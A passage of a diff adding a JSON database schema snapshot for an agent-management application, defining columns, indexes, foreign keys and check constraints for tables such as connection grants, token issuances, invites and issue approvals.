+        "heartbeat_runs_agent_id_agents_id_fk": {
+          "name": "heartbeat_runs_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_wakeup_request_id_agent_wakeup_requests_id_fk": {
+          "name": "heartbeat_runs_wakeup_request_id_agent_wakeup_requests_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "agent_wakeup_requests",
+          "columnsFrom": [
+            "wakeup_request_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_retry_of_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_runs_retry_of_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "retry_of_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.inbox_dismissals": {
+      "name": "inbox_dismissals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "item_key": {
+          "name": "item_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'dismiss'"
+        },
+        "dismissed_at": {
+          "name": "dismissed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "inbox_dismissals_company_user_idx": {
+          "name": "inbox_dismissals_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "inbox_dismissals_company_item_idx": {
+          "name": "inbox_dismissals_company_item_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "item_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "inbox_dismissals_company_user_item_idx": {
+          "name": "inbox_dismissals_company_user_item_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "item_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "inbox_dismissals_company_id_companies_id_fk": {
+          "name": "inbox_dismissals_company_id_companies_id_fk",
+          "tableFrom": "inbox_dismissals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.connection_grants": {
+      "name": "connection_grants",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "subject_user_id": {
+          "name": "subject_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_tenant": {
+          "name": "provider_tenant",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_secret_refs": {
+          "name": "credential_secret_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "is_default": {
+          "name": "is_default",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_by_agent_id": {
+          "name": "revoked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_by_user_id": {
+          "name": "revoked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "connection_grants_company_connection_idx": {
+          "name": "connection_grants_company_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_subject_user_idx": {
+          "name": "connection_grants_subject_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_user_uq": {
+          "name": "connection_grants_user_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_default_uq": {
+          "name": "connection_grants_default_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"connection_grants\".\"is_default\" = true and \"connection_grants\".\"kind\" = 'workspace'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "connection_grants_company_id_companies_id_fk": {
+          "name": "connection_grants_company_id_companies_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_grants_created_by_agent_id_agents_id_fk": {
+          "name": "connection_grants_created_by_agent_id_agents_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_grants_revoked_by_agent_id_agents_id_fk": {
+          "name": "connection_grants_revoked_by_agent_id_agents_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "revoked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_grants_company_connection_fk": {
+          "name": "connection_grants_company_connection_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "company_id",
+            "connection_id"
+          ],
+          "columnsTo": [
+            "company_id",
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "connection_grants_kind_check": {
+          "name": "connection_grants_kind_check",
+          "value": "\"connection_grants\".\"kind\" in ('workspace', 'user')"
+        },
+        "connection_grants_status_check": {
+          "name": "connection_grants_status_check",
+          "value": "\"connection_grants\".\"status\" in ('active', 'revoked', 'expired', 'needs_reauthorization')"
+        },
+        "connection_grants_subject_check": {
+          "name": "connection_grants_subject_check",
+          "value": "(\"connection_grants\".\"kind\" = 'user' and \"connection_grants\".\"subject_user_id\" is not null) or (\"connection_grants\".\"kind\" = 'workspace' and \"connection_grants\".\"subject_user_id\" is null)"
+        },
+        "connection_grants_default_check": {
+          "name": "connection_grants_default_check",
+          "value": "\"connection_grants\".\"is_default\" = false or \"connection_grants\".\"kind\" = 'workspace'"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.connection_token_issuances": {
+      "name": "connection_token_issuances",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "path": {
+          "name": "path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_scope": {
+          "name": "requested_scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "issued_scope": {
+          "name": "issued_scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "ttl_seconds": {
+          "name": "ttl_seconds",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "connection_token_issuances_company_created_idx": {
+          "name": "connection_token_issuances_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_connection_created_idx": {
+          "name": "connection_token_issuances_connection_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_agent_connection_idx": {
+          "name": "connection_token_issuances_agent_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_run_idx": {
+          "name": "connection_token_issuances_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "connection_token_issuances_company_id_companies_id_fk": {
+          "name": "connection_token_issuances_company_id_companies_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_application_id_tool_applications_id_fk": {
+          "name": "connection_token_issuances_application_id_tool_applications_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_connection_id_tool_connections_id_fk": {
+          "name": "connection_token_issuances_connection_id_tool_connections_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_agent_id_agents_id_fk": {
+          "name": "connection_token_issuances_agent_id_agents_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_run_id_heartbeat_runs_id_fk": {
+          "name": "connection_token_issuances_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_issue_id_issues_id_fk": {
+          "name": "connection_token_issuances_issue_id_issues_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_project_id_projects_id_fk": {
+          "name": "connection_token_issuances_project_id_projects_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.instance_settings": {
+      "name": "instance_settings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "singleton_key": {
+          "name": "singleton_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "default_environment_id": {
+          "name": "default_environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "general": {
+          "name": "general",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "experimental": {
+          "name": "experimental",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "instance_settings_singleton_key_idx": {
+          "name": "instance_settings_singleton_key_idx",
+          "columns": [
+            {
+              "expression": "singleton_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "instance_settings_default_environment_id_environments_id_fk": {
+          "name": "instance_settings_default_environment_id_environments_id_fk",
+          "tableFrom": "instance_settings",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "default_environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.instance_user_roles": {
+      "name": "instance_user_roles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'instance_admin'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "instance_user_roles_user_role_unique_idx": {
+          "name": "instance_user_roles_user_role_unique_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "role",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "instance_user_roles_role_idx": {
+          "name": "instance_user_roles_role_idx",
+          "columns": [
+            {
+              "expression": "role",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.invites": {
+      "name": "invites",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "invite_type": {
+          "name": "invite_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company_join'"
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "allowed_join_types": {
+          "name": "allowed_join_types",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'both'"
+        },
+        "defaults_payload": {
+          "name": "defaults_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invited_by_user_id": {
+          "name": "invited_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "accepted_at": {
+          "name": "accepted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "invites_token_hash_unique_idx": {
+          "name": "invites_token_hash_unique_idx",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "invites_company_invite_state_idx": {
+          "name": "invites_company_invite_state_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "invite_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revoked_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "invites_company_id_companies_id_fk": {
+          "name": "invites_company_id_companies_id_fk",
+          "tableFrom": "invites",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_approvals": {
+      "name": "issue_approvals",
+      "schema": "",
+      "columns": {
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "linked_by_agent_id": {
+          "name": "linked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "linked_by_user_id": {
+          "name": "linked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_approvals_issue_idx": {
+          "name": "issue_approvals_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_approvals_approval_idx": {
+          "name": "issue_approvals_approval_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_approvals_company_idx": {
+          "name": "issue_approvals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_approvals_company_id_companies_id_fk": {
+          "name": "issue_approvals_company_id_companies_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_issue_id_issues_id_fk": {
+          "name": "issue_approvals_issue_id_issues_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_approval_id_approvals_id_fk": {
+          "name": "issue_approvals_approval_id_approvals_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_linked_by_agent_id_agents_id_fk": {
+          "name": "issue_approvals_linked_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "linked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "issue_approvals_pk": {
+          "name": "issue_approvals_pk",
+          "columns": [
+            "issue_id",
+            "approval_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_attachments": {
+      "name": "issue_attachments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_comment_id": {
+          "name": "issue_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_attachments_company_issue_idx": {
+          "name": "issue_attachments_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_attachments_issue_comment_idx": {
+          "name": "issue_attachments_issue_comment_idx",
+          "columns": [
+            {
+              "expression": "issue_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_attachments_asset_uq": {
+          "name": "issue_attachments_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_attachments_company_id_companies_id_fk": {
+          "name": "issue_attachments_company_id_companies_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
